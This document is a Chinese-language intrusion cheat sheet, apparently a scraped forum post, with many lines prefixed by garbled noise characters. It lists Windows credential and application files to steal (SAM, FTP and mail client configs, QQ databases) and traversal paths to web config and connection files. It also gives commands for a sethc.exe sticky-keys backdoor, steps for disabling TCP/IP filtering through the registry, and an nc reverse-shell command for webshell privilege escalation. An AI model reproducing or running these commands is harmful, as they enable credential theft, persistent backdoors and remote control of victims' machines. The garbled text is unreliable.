7 ]* G& t! e. ~% q" V- G( cC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
: ^: d1 a" D& e+ K  r2 i& d) Vc:\CMailServer\config.ini
# f: O2 Z# h5 C8 ]5 L4 @: m* b+ B& Rc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
% d5 U* J7 K* @. O+ S! cc:\tomcat6\bin\version.sh
: l5 ]! m2 _+ c; W+ k7 |- Tc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
$ P2 q# A: W" I2 x% GC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
# P% e3 ]8 a) Qc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
9 {. _7 Y. i: rc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
/ @  D6 K: w) k! Lc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
; N2 ]+ b+ B4 n) ^, J) f2 dc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
( _4 k9 d5 c1 e" N- S8 o" U' _3 }, xc:\Program Files\Tencent\qq2009\qq.exe
/ F' K1 B" {$ j; g! w+ m( Tc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
. G0 y- E( I8 g% C' @C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
$ O9 f  v9 n& `6 F9 t( mC:\Program Files\FlashFXP\FlashFXP.ini
) O+ B/ Q. g6 c( E7 hC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
* Z5 l% v7 Y% Cc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
$ |3 q+ S- [2 d5 l
$ Q7 h7 F+ E& d3.网站相对路径:
5 w3 a# @, h4 ~, L
5 p/ X$ k+ v& g/config.php
9 K1 {- h+ O( d3 L../../config.php
3 k9 ^- p& ]& o. f../config.php
../../../config.php
, h0 k" H- D' r, d9 n/config.inc.php
4 @, ]: A4 w+ K% J1 T./config.inc.php
5 a3 r4 A. Z! H. o6 u- T+ b0 F- E/ n../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
5 @" M0 j$ k7 \7 o, W& q9 X  o../../conn.asp
3 C* X: H/ B, z- `../conn.asp
/ e* p' Y5 }: ?& r! J, k* N../../../conn.asp
* O0 l+ u) Q6 t5 l/config.inc.php
8 i; q: ^( O& c./config.inc.php
( a, B  J6 }) V# Q) R9 [../../config.inc.php
' g- V3 J' i! q3 @* }) f; T* k& m' C../config.inc.php
../../../config.inc.php
! w- N  a& H( }/ v; J" Z/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
, v7 I+ x+ p+ L1 J' I+ O* l/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
5 D0 F1 S  J$ i' r: v4 r../config/config.inc.php
- |0 h3 O) C) c( s- X, p../../../config/config.inc.php
! U0 S& i) S) Y0 Z# T8 B6 b- h4 Q/config/conn.php
./config/conn.php
2 U3 \& D' I( S  |& n../../config/conn.php
: H, q$ Q( z+ A../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
0 I8 }% R% v2 R1 N7 M) D6 X../config/conn.asp
../../../config/conn.asp
/ m' ?8 o9 O* u2 ^/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
4 W# }, o& ]9 b# F% x0 x: q../config/config.inc.php
../../../config/config.inc.php
/data/config.php
) v4 h( G- U1 ]0 w7 }../../data/config.php
../data/config.php
../../../data/config.php
' t- g  l/ w  S* C, }/data/config.inc.php
5 [: N& a% Y9 A# P( I./data/config.inc.php
4 ^4 P: ?3 w( l2 s0 q9 u9 }$ O1 r../../data/config.inc.php
../data/config.inc.php
! F) E, m' Y, o+ Z( p, F6 `../../../data/config.inc.php
3 ^* i  f% [7 L9 P( F/data/conn.php
- k+ {) N) {0 M1 i/ @: I( z./data/conn.php
/ ~& J; @1 t8 I; G5 r../../data/conn.php
* U5 j( J- E( x: |: S( M+ Y../data/conn.php
: z6 \! }/ r+ \' R" J. O../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
& x, \3 Q' M) ?+ X../../../data/conn.asp
4 J4 a0 z6 I( |6 K. M, P/data/config.inc.php
3 j9 i! d6 @0 i! y./data/config.inc.php
1 i5 [" ~9 J6 V' @; O0 `../../data/config.inc.php
1 B& N3 d+ k& X4 U/ h7 W; {../data/config.inc.php
../../../data/config.inc.php
. `; i$ p+ c9 ^7 y/include/config.php
9 t1 Y1 d2 \$ H! ]$ b../../include/config.php
' a: j; O- @6 ?& ?. a$ w../include/config.php
  p! P7 K0 C% `9 S9 E6 g+ F../../../include/config.php
; z5 P) `; Z+ U& i/include/config.inc.php
* f" {: }; u( e  o4 e./include/config.inc.php
, ?4 x4 I8 A1 n; Y  w6 F! B../../include/config.inc.php
../include/config.inc.php
# R$ D' R) {5 B# p6 f5 i( B: s. ]  I../../../include/config.inc.php
1 w! \2 E- s+ V/ [* H/include/conn.php
) j( ?; Y$ N% x./include/conn.php
../../include/conn.php
../include/conn.php
( \, v4 ~6 l/ t* ^' \# O2 e# ^../../../include/conn.php
) }: T3 E6 n" }( e/include/conn.asp
- f! k3 \8 S+ b; q; Q" ~./include/conn.asp
* C! b* a+ m( n, a- _../../include/conn.asp
- k1 _" G5 ?) t2 F' f' @../include/conn.asp
$ g- T( U; S& m% P: \../../../include/conn.asp
/include/config.inc.php
0 V# e1 H0 H3 e: a./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
( U% u& g& D0 o  q( o( J0 ~../inc/config.php
, S$ _. J/ j( k3 j../../../inc/config.php
  ~5 L- S3 K' J7 F' d& l/inc/config.inc.php
+ l5 b7 |& c* c4 [  ^% v$ v./inc/config.inc.php
) q+ c4 i' P. V1 k- d3 B../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
; W) n, T' T7 b* s* t  }./inc/conn.php
../../inc/conn.php
2 r; I. h1 F0 v0 {$ f6 X../inc/conn.php
/ k7 X: j) {& C  K( g../../../inc/conn.php
/inc/conn.asp
( G' w3 C. ~, Y./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
4 t5 L, q1 R, i  z. r../../../inc/conn.asp
/inc/config.inc.php
" B1 m& o3 {1 H- n./inc/config.inc.php
# h: O& s5 e  ]3 X6 M../../inc/config.inc.php
( u) f  j- O0 W- G2 W! D- H$ g% }; y! n../inc/config.inc.php
3 c* N1 k3 B4 N3 \9 b% j../../../inc/config.inc.php
1 k, l$ l& b6 b  a0 N/index.php
./index.php
7 t! l# x5 k# ~. ?3 P+ f../../index.php
../index.php
../../../index.php
/index.asp
% K2 v- s8 U4 ^; _+ `( s3 }./index.asp
9 }5 w' t/ u: P5 D../../index.asp
../index.asp
) s" V7 A  H- }6 ~; F/ Z../../../index.asp
替换SHIFT后门
" I% r; h) F0 w8 p! w　attrib c:\windows\system32\sethc.exe -h -r -s
7 c1 ^: s0 V8 _7 y8 m! S
# j' u8 V1 Y  Y7 Q7 N　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
9 w0 A, S3 v& [: g  I
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

0 n0 _, W% w0 i5 L) M　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
3 ^9 G8 v5 d) k. b
" T4 f( M' M& W7 ~5 B, ?6 o5 p　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
) h2 e* A4 F7 Q7 O6 `1 \6 VTCP/IP筛选在注册表里有三处，分别是：
$ \( k* A+ D7 x& qHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
( k# }) u9 ^. a  y1 a- L9 r; r4 jHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
1 E. V$ Y7 o3 C% x* Y4 a3 v
' O# E0 D8 L9 {7 z# v分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
6 J" k' I5 K$ r/ Rregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
/ r# l7 ~1 O4 R- K# Q8 Jregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
5 ~: {0 \# ]$ R# r" e  h1 s2 Z4 p* {导入注册表即可

8 o  @2 A$ l* P6 z0 ]' Awebshell提权小技巧
  X7 Q: l' J& @! ~3 ucmd路径:
c:\windows\temp\cmd.exe
$ v& Z6 z: o2 G* f0 W0 Pnc也在同目录下
例如反弹cmdshell：
  M, ], @( o/ o* Q: M/ F"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
- u9 p+ `  Z& Y8 _- c
, k) R' s8 U: S; s9 z而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
8 g) h3 R: A  U! Y; D* _这个不是重点
+ [& e9 Z% R) @, q6 z我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功